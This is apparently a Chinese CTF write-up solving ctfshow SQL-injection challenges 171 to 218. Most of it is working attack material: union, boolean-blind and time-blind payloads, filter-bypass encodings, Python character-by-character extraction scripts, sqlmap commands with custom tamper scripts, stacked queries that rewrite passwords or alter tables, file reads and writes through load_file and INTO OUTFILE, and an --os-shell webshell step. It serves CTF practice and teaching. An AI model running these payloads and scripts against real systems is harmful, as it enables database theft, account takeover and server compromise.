参考:
https://y4tacker.blog.csdn.net/article/details/110144623
https://blog.51cto.com/u_15072927/3946335
171
爆库:-1'union select 1,2,database();--+
爆表:-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema="ctfshow_web";--+
爆列:-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name="ctfshow_user" --+
爆值:-1'union select id,username,password from ctfshow_user --+
172
这题只有两个回显,且返回值不能有flag
,可以用编码回显
。
-1'union select to_base64(username),hex(password) from ctfshow_user2 --+
或
-1'union select id,password from ctfshow_user2 where username="flag"--+
联合查询列数和以前一样,可以查id,这样就不会返回username中的flag
值
173
//检查结果是否有flag
if(!preg_match('/flag/i', json_encode($ret))){
$ret['msg']='查询成功';
}
同上
1' union select id,to_base64(username),hex(password) from ctfshow_user3--+
174
法1:
虽然它对返回的值有限制,但是我们可以用盲注,例如下面的会返回:
1'and 1=1;--+
抓包看一下地址
import requests
url = "http://82424899-6cd3-4fab-83ca-7cf8d1f9caa3.challenge.ctf.show/api/v4.php?id=1' and "
result = ""
for i in range(1, 50):
for j in range(32, 127):
try:
payload = f'if(ascii(substr((select password from ctfshow_user4 limit 24,1),{i},1))={j},1,0);--+'
req = requests.get(url + payload)
print(req.text)
if "admin" in req.text:
result += chr(j)
print(result)
except:
continue
print(result)
limit 24,1 :读第二十五行
substr(xxx,{i},1):截取第几个字符串
ascii:转化为ascii码比较
if(xxx={j},1,0):如果xxx等于{j}返回1,否则0
从password的第一个字符开始查起,每次查一个字符,转换成ascii码,在和ascii值38-128挨个比较,当查到的flag其中的一个字符ascii值>某个ascii码(38~128),例如当flag其中的一个字符a>97,返回布尔值false,此时页面显示Error…,说明ascii值97为flag中的一个字符。
二分法版本
# @Author:Y4tacker
import requests
url = "http://e076200d-5e74-4121-b2fc-04153243f7a3.chall.ctf.show/api/v4.php?id=1' and "
result = ''
i = 0
while True:
i = i + 1
head = 32
tail = 127
while head < tail:
mid = (head + tail) >> 1
payload = f'1=if(ascii(substr((select password from ctfshow_user4 limit 24,1),{i},1))>{mid},1,0) -- -'
r = requests.get(url + payload)
if "admin" in r.text:
head = mid + 1
else:
tail = mid
if head != 32:
result += chr(head)
else:
break
print(result)
175
00x1内容传入文件
1'union select 1,password from ctfshow_user5 into outfile '/var/www/html/1.txt'--+&page=1&limit=10
//把password的第一页的前十条的内容写入网站根目录下的1.txt里面然后访问就行了。
时间盲注
非二分:
import requests
url = "http://0bbc92d7-ad80-4097-9388-3da10dd18a26.challenge.ctf.show/api/v5.php?id=1' and "
result = ""
result1 = ""
for i in range(1, 20):
for j in range(32, 127):
payload = f'1=if(ascii(substr((select password from ctfshow_user5 limit 24,1),{i},1))={j},sleep(4),0);--+'
try:
r = requests.get(url + payload, timeout=3)
print("*********no:"+chr(j))
except Exception as e:
result += chr(j)
print(result)
continue
requests.get(url + payload, timeout=3)
意思是如果连接超过三秒则报错,也就是转入except 中
二分:
# @Author:Y4tacker
import requests
url = "http://7eac161c-e06e-4d48-baa5-f11edaee7d38.chall.ctf.show/api/v5.php?id=1' and "
result = ''
i = 0
while True:
i = i + 1
head = 32
tail = 127
while head < tail:
mid = (head + tail) >> 1
payload = f'1=if(ascii(substr((select password from ctfshow_user5 limit 24,1),{i},1))>{mid},sleep(2),0) -- -'
try:
r = requests.get(url + payload, timeout=0.5)
tail = mid
except Exception as e:
head = mid + 1
if head != 32:
result += chr(head)
else:
break
print(result)
176
1'or 1=1--+
或
1' uNion sElect 1,2,password from ctfshow_user --+
999' or username='flag
前面报错,执行后一句
177
1'/**/uniON/**/SElect/**/password,2,3/**/from/**/ctfshow_user/**/where/**/username="flag"%23
或
1'or'1'='1'%23
178
过滤了*,可以用%09代替空格,%09为tab
1'%09union%09select%091,2,password%09from%09ctfshow_user%09where%09username="flag"%23
或
1'or'1'='1'%23
179
不得不说一句,这句真是万能啊!
1'or'1'='1'%23
或
1'union%0cselect%0c1,2,password%0cfrom%0cctfshow_user%23
180
把查询的结果作为名称
1'%0cunion%0cselect%0c1,2,(select%0cpassword%0cfrom%0cctfshow_user%0cwhere%0cusername%0c=%0c'flag')%0c--%0c
注入前:$sql = "select id,username,password from ctfshow_user where username !='flag' and id = '".$_GET['id']."' limit 1;";
and 的优先级比 or 要高
注入后语句为:
select id,username,password from ctfshow_user where username != 'flag' and id = '0'or(id=26)and'1' limit 1;
也就是:
username != 'flag' and id = '0' or (id=26)and'1'
因为id=0不存在,所以就是:
(0) or(id=26)and'1' limit 1;
payload:
id=-1'or(id=26)and'1'='1
或者
999'%0cunion%0cselect'1',(select`password`from`ctfshow_user`where`username`='flag'),'3
web 181
payload:
id=-1'or(id=26)and'1'='1
web182
原理同上。
web183
查询语句:
//拼接sql语句查找指定ID用户
$sql = "select count(pass) from ".$_POST['tableName'].";";
过滤:
//对传入的参数进行了过滤
function waf($str){
return preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\#|\x23|file|\=|or|\x7c|select|and|flag|into/i', $str);
}
查询结果
//返回用户表的记录总数
$user_count = 0;
and和or也被过滤了,那么我们就爆破呗。
import requests
url = 'http://41bc79ba-0dbf-46e1-a0a7-258dc990dafc.challenge.ctf.show/select-waf.php'
word = '0123456789abcdefghijklmnopqrstuvwxyz-{}'
flag = 'ctfshow{'
for i in range(50):
if flag[-1] == "}":
break
for j in word:
data = {"tableName": "(ctfshow_user)where(pass)like'{}%'".format(flag + j)}
req = requests.post(url=url,data=data)
if '$user_count = 1;' in req.text:
flag += j;
print(flag)
break
web 184
和上一题相比,过滤了where 和 引号,where 可以用 having代替,引号可以用编码绕过。
import requests
url = 'http://b8253f3e-046c-40ea-9202-dfb5ae1a6379.challenge.ctf.show/select-waf.php'
word = '0123456789abcdefghijklmnopqrstuvwxyz-{}'
flag = 'ctfshow{'
def str_to_hex(str):
str = bytes(str, encoding='utf-8')
str = '(0x' + str.hex() + '25)'
return str
for i in range(50):
if flag[-1] == "}":
break
for j in word:
payload = "(ctfshow_user) group by pass having(pass)like" + str_to_hex(flag + j)
print(payload)
data = {"tableName": payload}
req = requests.post(url=url,data=data)
if '$user_count = 1;' in req.text:
flag += j;
print(flag)
break
web 185
过滤了数字,可以用 concat 和 char来构造数字。
例如:
c的ascii为99
那么c=char(ture+ture+ture......) 99个true。
cc就是
concat(char(99个true),char(99个true))
payload:
import requests
url = 'http://34c76f3c-de55-4651-90e4-c960a26b1474.challenge.ctf.show/select-waf.php'
word = '0123456789abcdefghijklmnopqrstuvwxyz-{}'
flag = 'ctfshow{'
def int_to_str(str):
payload = 'concat('
for s in str:
payload += 'char(true' + '+true'*(ord(s)-1) + '),'
return payload[:-1]+')'
for i in range(50):
if flag[-1] == "}":
break
for j in word:
payload = "(ctfshow_user) group by pass having(pass)like(" + int_to_str(flag + j + '%') + ')'
print(payload)
data = {"tableName": payload}
req = requests.post(url=url,data=data)
if '$user_count = 1;' in req.text:
flag += j
print(flag)
break
web 186
同上
web 187
熟悉的代码,也就要我们构造一个md5 后有 'or'数字...
的一串字符。
$password = md5($_POST['password'],true);
username=admin&password=ffifdyop
web 188
$row['pass']==intval($password)
若等于,只要password 有字母,我们就可以令password 为 0,这样0=0就会永远成立。
令username=0 或者 1||1 可以查看所有的信息
但还是有点区别的 1||1 可以查看到username 为数字字符串的数据,而为username=0就不可以了。
我是这么理解的,username=0
时,mysql会取对比,又因为在mysql中字符串和数字比较的时候,值为0,所以会查到所有username 为数字字符串的数据,而username=1||1
时,就没这个问题了。
web 189
题目提示:flag在api/index.php文件中
当username=if(1=1,1,0)和if(1=2,1,0)时值不同,可以判断盲注。
import requests
import time
url = "http://fef4f6a5-2029-455e-a1fc-680c1c3378c9.challenge.ctf.show/api/"
name = ""
i = 0
while True:
head = 32
tail = 127
i += 1
while (head < tail):
time.sleep(0.1)
mid = head + tail >> 1
payload = "if(ascii(substr((load_file('/var/www/html/api/index.php')),%d,1))>%d,1,0)" % (i, mid)
data = {
'username':payload,
'password':'1'
}
r = requests.post(url=url,data=data)
if "\\u67e5\\u8be2\\u5931\\u8d25" in str(r.text):
head = mid + 1
else:
tail = mid
if head != 32:
name += chr(head)
print(ascii(name))
else:
continue
web 190
布尔盲注:admin' and if(1=1,1,0)#
和admin' and if(1=2,1,0)#
回显不一样。
import requests
import time
url = "http://c7d6676a-103c-48da-ab5a-232ded1de212.challenge.ctf.show/api/"
name = ""
i = 0
while True:
head = 32
tail = 127
i += 1
while (head < tail):
time.sleep(0.1)
mid = head + tail >> 1
payload = "admin' and if(ascii(substr((select group_concat(f1ag) from ctfshow_fl0g),%d,1))>%d,1,0)#" % (i, mid)
data = {
'username':payload,
'password':'1'
}
r = requests.post(url=url,data=data)
if "\\u5bc6\\u7801\\u9519\\u8bef" in str(r.text):
head = mid + 1
else:
tail = mid
if head != 32:
name += chr(head)
print(ascii(name))
else:
continue
web 191
过滤了ascii,但是问题不大,可以用ord 替换它。
import requests
import time
url = "http://e8e80969-0604-4712-a084-be535faf7ca6.challenge.ctf.show/api/"
name = ""
i = 0
while True:
head = 32
tail = 127
i += 1
while (head < tail):
time.sleep(0.1)
mid = head + tail >> 1
payload = "admin' and if(ord(substr((select group_concat(f1ag) from ctfshow_fl0g),%d,1))>%d,1,0)#" % (i, mid)
data = {
'username':payload,
'password':'1'
}
r = requests.post(url=url,data=data)
if "\\u5bc6\\u7801\\u9519\\u8bef" in str(r.text):
head = mid + 1
else:
tail = mid
if head != 32:
name += chr(head)
print(ascii(name))
else:
continue
web 192
不仅过滤了ascii函数还过滤了ord函数,可以用 like 来盲注,也可以用regexp来匹配。
import requests
url = 'http://4365ad46-55e4-42a1-9a6d-000ebd747751.challenge.ctf.show/api/'
word = '0123456789abcdefghijklmnopqrstuvwxyz-{}'
flag = ''
for i in range(50):
for j in word:
data = {
"username": f"admin' and if((substr((select group_concat(f1ag) from ctfshow_fl0g),{i},1)like('{j}%')),1,0)#",
'password':'1'
}
req = requests.post(url=url,data=data)
if '\\u5bc6\\u7801\\u9519\\u8bef' in req.text:
flag += j
print(flag)
break
web 193
多过滤了 substr,我们还可以用left,right等函数截取,也可以直接匹配,结果都一样。
import requests
url = 'http://cd1840a8-d31e-4de4-9146-2043bcedb0a0.challenge.ctf.show/api/'
word = 'abcdefghijklmnopqrstuvwxyz0123456789-{}'
flag = ''
check_flag = ''
for i in range(50):
for j in word:
check_flag += j
data = {
"username": f"admin' and if((select group_concat(f1ag)from ctfshow_flxg)like('{check_flag}%'),1,0)#",
'password': '123'
}
check_flag = flag
#print(check_flag)
req = requests.post(url=url,data=data)
if '密码错误' in req.json()['msg']:
flag += j
print(flag)
break
web 194
同上:
import requests
url = 'http://92d47175-665f-416c-a917-07243877f768.challenge.ctf.show/api/'
word = 'abcdefghijklmnopqrstuvwxyz0123456789-{}'
flag = ''
check_flag = ''
for i in range(50):
for j in word:
check_flag += j
data = {
"username": f"admin' and if((select group_concat(f1ag) from ctfshow_fl0g)like('{check_flag}%'),1,0)#",
'password': '123'
}
check_flag = flag
req = requests.post(url=url,data=data)
if '密码错误' in req.json()['msg']:
flag += j
print(flag)
break
web 195
过滤了select,无法查询了,且username 后面没有引号包住,所以要用编码表示
//拼接sql语句查找指定ID用户
$sql = "select pass from ctfshow_user where username = {$username};";
返回逻辑
//密码检测
if(!is_numeric($password)){
$ret['msg']='密码只能为数字';
die(json_encode($ret));
}
//密码判断
if($row['pass']==$password){
$ret['msg']='登陆成功';
}
//TODO:感觉少了个啥,奇怪,不会又双叒叕被一血了吧
if(preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\#|\x23|\'|\"|select|union|or|and|\x26|\x7c|file|into/i', $username)){
$ret['msg']='用户名非法';
die(json_encode($ret));
}
if($row[0]==$password){
$ret['msg']="登陆成功 flag is $flag";
}
payload:把密码全改为111
0x61646d696e;update`ctfshow_user`set`pass`=0x313131;
111
也可以只改admin的密码:
0x61646d696e;update`ctfshow_user`set`pass`=(0x313131)where`username`=0x61646d696e;
111
web 196
虽然题目上显示过滤了select,但是实际上并没有过滤select ,还是太年轻啊。
//TODO:感觉少了个啥,奇怪,不会又双叒叕被一血了吧
if(preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\#|\x23|\'|\"|select|union|or|and|\x26|\x7c|file|into/i', $username)){
$ret['msg']='用户名非法';
die(json_encode($ret));
}
if(strlen($username)>16){
$ret['msg']='用户名不能超过16个字符';
die(json_encode($ret));
}
if($row[0]==$password){
$ret['msg']="登陆成功 flag is $flag";
}
payload:
1;select(1)
1
原理:pass会返回1;
web 197
又学到一个新姿势,通过改列名来盲注passwd。
查询语句:
//拼接sql语句查找指定ID用户
$sql = "select pass from ctfshow_user where username = {$username};";
返回逻辑:过滤了select 和 set ,说明预处理查询也不行了,那么就无法获取值来进行布尔盲注了,这边我就不知道该怎么办了。
//TODO:感觉少了个啥,奇怪,不会又双叒叕被一血了吧
if('/\*|\#|\-|\x23|\'|\"|union|or|and|\x26|\x7c|file|into|select|update|set//i', $username)){
$ret['msg']='用户名非法';
die(json_encode($ret));
}
if($row[0]==$password){
$ret['msg']="登陆成功 flag is $flag";
}
参考了Y大师的wp,既然无法获取值,那么也就无法知道pass的值,但是 id 字段的值我们是可以爆破的,那么也就是说我们可以把 pass 字段重命名为其他名字,把 id 字段重命名为 pass,这样查询语句在配对密码的时候,实际上就是配对的 id 字段的值,这样我们就可以通过爆破来登录了。
这边有个要注意一下的是 username 的值要是0,不然是无法查到的,原理在 web 188 处已经说过了。
import requests
url = 'http://dc135671-ba79-40cd-a812-3651f3975d0b.challenge.ctf.show/api/'
for i in range(100):
payload = '0;alter table ctfshow_user change pass succ varchar(255);alter table ctfshow_user change id pass varchar(255);'
data = {
'username': payload,
'password': i
}
req = requests.post(url=url, data=data)
if '登陆成功' in req.json()['msg']:
print(req.json()['msg'])
break
web 198
同上没有过滤alter 和 change。
web 199
查询语句
//拼接sql语句查找指定ID用户
$sql = "select pass from ctfshow_user where username = {$username};";
返回逻辑:
//TODO:感觉少了个啥,奇怪,不会又双叒叕被一血了吧
if('/\*|\#|\-|\x23|\'|\"|union|or|and|\x26|\x7c|file|into|select|update|set|create|drop|\(/i', $username)){
$ret['msg']='用户名非法';
die(json_encode($ret));
}
if($row[0]==$password){
$ret['msg']="登陆成功 flag is $flag";
}
payload:
1;show tables;
ctfshow_user
原理:
因为它 $row[0]==$password
也就是取第一个,而且 username=1,没有这个数据,那么它就会返回 show tables的内容,来和password 对比,此时我们只要令 password 等于它的第一个表名就可以了,我这边的就是courses。
这题的原理和第 196 题的 1;select(1);
原理有异曲同工之妙。
web 200
同 199
payload:
1;show tables;
ctfshow_user
web 201
sqlmap get 传参
暴库
python3 sqlmap.py -u "xxx/api/?id=1" --referer="ctf.show" -dbs
爆表
python3 sqlmap.py -u "xxx/api/?id=1" --referer="ctf.show" -D ctfshow_web -tables
列字段:
python3 sqlmap.py -u "xxx/api/?id=1" --referer="ctf.show" -D ctfshow_web -T ctfshow_user -columns
取值:
python3 sqlmap.py -u "xxx/api/?id=1" --referer="ctf.show" -D ctfshow_web -T ctfshow_user -C "id,pass,username" -dump
web 202
sqlmap post 传参
暴库
python3 sqlmap.py -u "http://ab8d64fc-10d2-4c1b-bcd0-2dd029e9ce05.challenge.ctf.show/api/" --data="id=1" --referer="ctf.show" -dbs
爆表
python3 sqlmap.py -u "http://ab8d64fc-10d2-4c1b-bcd0-2dd029e9ce05.challenge.ctf.show/api/" --data="id=1" --referer="ctf.show" -D ctfshow_web -tables
列字段
python3 sqlmap.py -u "http://ab8d64fc-10d2-4c1b-bcd0-2dd029e9ce05.challenge.ctf.show/api/" --data="id=1" --referer="ctf.show" -D ctfshow_web -T ctfshow_user -columns
取值
python3 sqlmap.py -u "http://ab8d64fc-10d2-4c1b-bcd0-2dd029e9ce05.challenge.ctf.show/api/" --data="id=1" --referer="ctf.show" -D ctfshow_web -T ctfshow_user -C "id,pass,username" -dump
web 203
sqlmap put 传参,传请求头,类型 content-type:text/plain ,以纯文本的形式。
暴库:
python3 sqlmap.py -u "http://b5b3fe65-c1bc-4180-8c93-9dd26d7b2ab0.challenge.ctf.show/api/index.php" --method=PUT --referer="ctf.show" --header="Content-type:text/plain" --data="id=1" -dbs
爆表:
python3 sqlmap.py -u "http://b5b3fe65-c1bc-4180-8c93-9dd26d7b2ab0.challenge.ctf.show/api/index.php" --method=PUT --referer="ctf.show" --header="Content-type:text/plain" --data="id=1" -D ctfshow_web -tables
列字段:
python3 sqlmap.py -u "http://b5b3fe65-c1bc-4180-8c93-9dd26d7b2ab0.challenge.ctf.show/api/index.php" --method=PUT --referer="ctf.show" --header="Content-type:text/plain" --data="id=1" -D ctfshow_web -T ctfshow_user -columns
取值:
python3 sqlmap.py -u "http://b5b3fe65-c1bc-4180-8c93-9dd26d7b2ab0.challenge.ctf.show/api/index.php" --method=PUT --referer="ctf.show" --header="Content-type:text/plain" --data="id=1" -D ctfshow_web -T ctfshow_user -C "id,pass,username" -dump
web 204
加个cookie
python3 sqlmap.py -u "http://a45faf4c-518d-4731-9486-64138ff083a1.challenge.ctf.show/api/index.php" --method=PUT --referer="ctf.show" --header="Content-type:text/plain" --data="id=1" -D ctfshow_web -T ctfshow_user -C "id,pass,username" --cookie "PHPSESSID=s6egtcvda6lq40nmk79mnnng16; ctfshow=7c23a843555c58b3a68bbd0b686057b6" --dump
web 205
每次访问 api/index.php的时候,要先访问 api/getToken.php
--safe-url 设置在测试目标地址前访问的安全链接
--safe-freq 设置两次注入测试前访问安全链接的次数
爆库:
python3 sqlmap.py -u http://66c741d5-a5e5-42ea-9073-1d9de9056f4d.challenge.ctf.show/api/index.php --method=PUT --data="id=1" --referer=ctf.show --dbms=mysql dbs=ctfshow_web --headers="Content-Type: text/plain" --safe-url=http://66c741d5-a5e5-42ea-9073-1d9de9056f4d.challenge.ctf.show/api/getToken.php --safe-freq=1 -dbs
爆表:
python3 sqlmap.py -u http://66c741d5-a5e5-42ea-9073-1d9de9056f4d.challenge.ctf.show/api/index.php --method=PUT --data="id=1" --referer=ctf.show --dbms=mysql dbs=ctfshow_web --headers="Content-Type: text/plain" --safe-url=http://66c741d5-a5e5-42ea-9073-1d9de9056f4d.challenge.ctf.show/api/getToken.php --safe-freq=1 -tables
爆列:
python3 sqlmap.py -u http://66c741d5-a5e5-42ea-9073-1d9de9056f4d.challenge.ctf.show/api/index.php --method=PUT --data="id=1" --referer=ctf.show --dbms=mysql dbs=ctfshow_web --headers="Content-Type: text/plain" --safe-url=http://66c741d5-a5e5-42ea-9073-1d9de9056f4d.challenge.ctf.show/api/getToken.php --safe-freq=1 -T ctfshow_flax -columns
爆值:
python3 sqlmap.py -u http://66c741d5-a5e5-42ea-9073-1d9de9056f4d.challenge.ctf.show/api/index.php --method=PUT --data="id=1" --referer=ctf.show --dbms=mysql dbs=ctfshow_web --headers="Content-Type: text/plain" --safe-url=http://66c741d5-a5e5-42ea-9073-1d9de9056f4d.challenge.ctf.show/api/getToken.php --safe-freq=1 -T ctfshow_flax -C flagx -dump
web 206
和上面一样,sqlmap 会自己判断闭合
python3 sqlmap.py -u http://66c741d5-a5e5-42ea-9073-1d9de9056f4d.challenge.ctf.show/api/index.php --method=PUT --data="id=1" --referer=ctf.show --dbms=mysql dbs=ctfshow_web --headers="Content-Type: text/plain" --safe-url=http://66c741d5-a5e5-42ea-9073-1d9de9056f4d.challenge.ctf.show/api/getToken.php --safe-freq=1 -dbs
python3 sqlmap.py -u http://47cb5a33-c72f-4473-813c-bd5b60499cf7.challenge.ctf.show/api/index.php --method=PUT --data="id=1" --referer=ctf.show --dbms=mysql dbs=ctfshow_web --headers="Content-Type: text/plain" --safe-url=http://47cb5a33-c72f-4473-813c-bd5b60499cf7.challenge.ctf.show/api/getToken.php --safe-freq=1 -tables
python3 sqlmap.py -u http://47cb5a33-c72f-4473-813c-bd5b60499cf7.challenge.ctf.show/api/index.php --method=PUT --data="id=1" --referer=ctf.show --dbms=mysql dbs=ctfshow_web --headers="Content-Type: text/plain" --safe-url=http://47cb5a33-c72f-4473-813c-bd5b60499cf7.challenge.ctf.show/api/getToken.php --safe-freq=1 -T ctfshow_flaxc -columns
python3 sqlmap.py -u http://47cb5a33-c72f-4473-813c-bd5b60499cf7.challenge.ctf.show/api/index.php --method=PUT --data="id=1" --referer=ctf.show --dbms=mysql dbs=ctfshow_web --headers="Content-Type: text/plain" --safe-url=http://47cb5a33-c72f-4473-813c-bd5b60499cf7.challenge.ctf.show/api/getToken.php --safe-freq=1 -T ctfshow_flaxc -C flagv -dump
web 207
sqlmap tamper 中的 space2comment.py 模块绕waf ,将空格替换成 /**/
爆库:
python3 sqlmap.py -u http://6838c828-3f09-49df-8dbb-b547305fb652.challenge.ctf.show/api/index.php --method=PUT --data="id=1" --referer=ctf.show --dbms=mysql --headers="Content-Type: text/plain" --safe-url=http://6838c828-3f09-49df-8dbb-b547305fb652.challenge.ctf.show/api/getToken.php --safe-freq=1 -dbs --tamper space2comment.py
爆表
python sqlmap.py -u http://6838c828-3f09-49df-8dbb-b547305fb652.challenge.ctf.show/api/index.php --method=PUT --data="id=1" --referer=ctf.show --headers="Content-Type: text/plain" --safe-url=http://6838c828-3f09-49df-8dbb-b547305fb652.challenge.ctf.show/api/getToken.php --safe-freq=1 -D ctfshow_web -tables --tamper space2comment.py
爆列
python sqlmap.py -u http://6838c828-3f09-49df-8dbb-b547305fb652.challenge.ctf.show/api/index.php --method=PUT --data="id=1" --referer=ctf.show --headers="Content-Type: text/plain" --safe-url=http://6838c828-3f09-49df-8dbb-b547305fb652.challenge.ctf.show/api/getToken.php --safe-freq=1 -D ctfshow_web -T ctfshow_flaxca -columns --tamper space2comment.py
值:
python sqlmap.py -u http://6838c828-3f09-49df-8dbb-b547305fb652.challenge.ctf.show/api/index.php --method=PUT --data="id=1" --referer=ctf.show --headers="Content-Type: text/plain" --safe-url=http://6838c828-3f09-49df-8dbb-b547305fb652.challenge.ctf.show/api/getToken.php --safe-freq=1 -D ctfshow_web -T ctfshow_flaxca -C flagvc -dump --tamper space2comment.py
web 208
同上也是过滤了空格
python sqlmap.py -u http://b4cc87b6-aa2e-4674-99c9-ad72bcf16ed1.challenge.ctf.show/api/index.php --method=PUT --data="id=1" --referer=ctf.show --headers="Content-Type: text/plain" --safe-url=http://b4cc87b6-aa2e-4674-99c9-ad72bcf16ed1.challenge.ctf.show/api/getToken.php --safe-freq=1 -D ctfshow_web -T ctfshow_flaxcac -C flagvca -dump --tamper space2comment.py
web 209
利用自写 tamper 绕过
用 like 代替 =
#!/usr/bin/env python
from lib.core.compat import xrange
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.LOW
def dependencies():
pass
def tamper(payload, **kwargs):
retVal = payload
if payload:
retVal = ""
quote, doublequote, firstspace = False, False, False
for i in xrange(len(payload)):
if not firstspace:
if payload[i].isspace():
firstspace = True
retVal += chr(0x0a)
continue
elif payload[i] == '\'':
quote = not quote
elif payload[i] == '"':
doublequote = not doublequote
elif payload[i] == '=':
retVal += 'like'
continue
elif payload[i] == " " and not doublequote and not quote:
retVal += chr(0x0a)
continue
retVal += payload[i]
return retVal
python sqlmap.py -u http://2c762843-49fe-4240-971c-fdd77077b992.challenge.ctf.show/api/index.php --method=PUT --data="id=1" --referer=ctf.show --headers="Content-Type: text/plain" --safe-url=http://2c762843-49fe-4240-971c-fdd77077b992.challenge.ctf.show/api/getToken.php --safe-freq=1 -D ctfshow_web -T ctfshow_flav -C ctfshow_flagx -dump --batch --tamper 209.py
web 210
题目对查询的字符解密,我们只要倒着加密就行了
#!/usr/bin/env python
"""
Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
from lib.core.compat import xrange
from lib.core.enums import PRIORITY
import base64
__priority__ = PRIORITY.LOW
def dependencies():
pass
def tamper(payload, **kwargs):
retVal = payload
if payload:
retVal = base64.b64encode(base64.b64encode(retVal[::-1])[::-1])
return retVal
python sqlmap.py -u http://a98dab94-814e-4e98-89a9-8db3e97fe5a3.challenge.ctf.show/api/index.php --method=PUT --data="id=1" --referer=ctf.show --headers="Content-Type: text/plain" --safe-url=http://a98dab94-814e-4e98-89a9-8db3e97fe5a3.challenge.ctf.show/api/getToken.php --safe-freq=1 -D ctfshow_web -T ctfshow_flavi -C ctfshow_flagxx -dump --batch --tamper 210.py
web 211-212
把前面几题的绕过合起来就可以了。
#!/usr/bin/env python
from lib.core.compat import xrange
from lib.core.enums import PRIORITY
import base64
__priority__ = PRIORITY.LOW
def dependencies():
pass
def tamper(payload, **kwargs):
retVal = payload
if payload:
retVal = ""
quote, doublequote, firstspace = False, False, False
for i in xrange(len(payload)):
if not firstspace:
if payload[i].isspace():
firstspace = True
retVal += chr(0x0a)
continue
elif payload[i] == '\'':
quote = not quote
elif payload[i] == '"':
doublequote = not doublequote
elif payload[i] == '=':
retVal += chr(0x0a)+'like'+chr(0x0a)
continue
elif payload[i] == " " and not doublequote and not quote:
retVal += chr(0x0a)
continue
retVal += payload[i]
retVal = base64.b64encode(base64.b64encode(retVal[::-1])[::-1])
return retVal
web 211:
python sqlmap.py -u http://cb46c1a4-088f-4774-9165-9e660914ca23.challenge.ctf.show/api/index.php --method=PUT --data="id=1" --referer=ctf.show --headers="Content-Type: text/plain" --safe-url=http://cb46c1a4-088f-4774-9165-9e660914ca23.challenge.ctf.show/api/getToken.php --safe-freq=1 -D ctfshow_web -T ctfshow_flavia -C ctfshow_flagxxa -dump --dbms mysql --batch --tamper 209.py
web 212:
python sqlmap.py -u http://4232bc6a-71ab-4ddc-aa3a-3cc314bb1ac0.challenge.ctf.show/api/index.php --method=PUT --data="id=1" --referer=ctf.show --headers="Content-Type: text/plain" --safe-url=http://4232bc6a-71ab-4ddc-aa3a-3cc314bb1ac0.challenge.ctf.show/api/getToken.php --safe-freq=1 -D ctfshow_web -T ctfshow_flavis -C ctfshow_flagxsa -dump --batch --dbms mysql --tamper 209.py
web 213
这边我没用运行成功,手动提交的
python sqlmap.py -u http://66089777-b764-4e48-8082-8a4a60818706.challenge.ctf.show/api/index.php --data="id=1" --method=PUT --headers="Content-Type: text/plain" --safe-url="http://66089777-b764-4e48-8082-8a4a60818706.challenge.ctf.show/api/getToken.php" --safe-freq=1 --user-agent sqlmap --referer http://66089777-b764-4e48-8082-8a4a60818706.challenge.ctf.show/sqlmap.php --tamper 209.py --os-shell
提交一个webshell,然后访问 getflag
web214
学到了,看网络请求
对前面的时间盲注脚本稍微改下就行了
import requests
import time
url = "http://340543db-5d51-4299-8b72-ad9e2b48be8f.challenge.ctf.show/api/index.php"
name = ""
i = 0
while True:
head = 32
tail = 127
i += 1
while (head < tail):
time.sleep(0.1)
mid = head + tail >> 1
payload = 'if(ascii(mid((select flaga from ctfshow_flagx),%d,1))>%d,sleep(2),0)' % (i, mid)
data = {
'ip':payload,
'debug':0
}
time1 = time.time()
r = requests.post(url=url,data=data)
time2 = time.time()
if (time2-time1) > 2:
head = mid + 1
else:
tail = mid
if head != 32:
name += chr(head)
print(ascii(name))
else:
continue
web 215
提示我们单引号,那么直接把它闭合
import requests
import time
url = "http://0897b19e-9284-4e80-a37f-2d69df3c5e62.challenge.ctf.show/api/index.php"
name = ""
i = 0
while True:
head = 32
tail = 127
i += 1
while (head < tail):
time.sleep(0.1)
mid = head + tail >> 1
payload = "' or if(ascii(mid((select group_concat(flagaa) from ctfshow_flagxc),%d,1))>%d,sleep(2),0)#" % (i, mid)
data = {
'ip':payload,
'debug':0
}
time1 = time.time()
r = requests.post(url=url,data=data)
time2 = time.time()
if (time2-time1) > 2:
head = mid + 1
else:
tail = mid
if head != 32:
name += chr(head)
print(ascii(name))
else:
continue
web 216
闭合 base64 编码
import requests
import time
url = "http://3fa5cc39-750e-4b78-80c4-7b8b0518cf2c.challenge.ctf.show/api/index.php"
name = ""
i = 0
while True:
head = 32
tail = 127
i += 1
while (head < tail):
time.sleep(0.1)
mid = head + tail >> 1
payload = "'') or if(ascii(mid((select group_concat(flagaac) from ctfshow_flagxcc),%d,1))>%d,sleep(2),0)#" % (i, mid)
data = {
'ip':payload,
'debug':0
}
time1 = time.time()
r = requests.post(url=url,data=data)
time2 = time.time()
if (time2-time1) > 2:
head = mid + 1
else:
tail = mid
if head != 32:
name += chr(head)
print(ascii(name))
else:
continue
web 217
利用 banchmark 盲注
原理是通过 banchmark 可以计算某些操作的执行速度。
利用 benchmark(3145140,md5(2333))
代替 sleep(0.5)
import requests
import time
url = "http://3294aabf-4c66-49e5-bfd6-fa589a885b2d.challenge.ctf.show/api/index.php"
name = ""
i = 0
while True:
head = 32
tail = 127
i += 1
while (head < tail):
time.sleep(0.3)
mid = head + tail >> 1
payload = "1) or if(ascii(mid((select group_concat(flagaabc) from ctfshow_flagxccb),%d,1))>%d,benchmark(3145140,md5(2333)),0)#" % (i, mid)
data = {
'ip':payload,
'debug':0
}
time1 = time.time()
r = requests.post(url=url,data=data)
time2 = time.time()
if (time2-time1) > 0.5:
head = mid + 1
else:
tail = mid
if head != 32:
name += chr(head)
print(ascii(name))
else:
continue
web 218
你大爷还是你大爷,benchmark 过滤了。
mysql 五种时间盲注
RLIKE REGEXP 正则匹配时间盲注:
import requests
import time
url = "http://1498ea8e-04d8-4b20-8b35-92a724105912.challenge.ctf.show/api/index.php"
name = ""
i = 0
while True:
head = 32
tail = 127
i += 1
while (head < tail):
time.sleep(0.3)
mid = head + tail >> 1
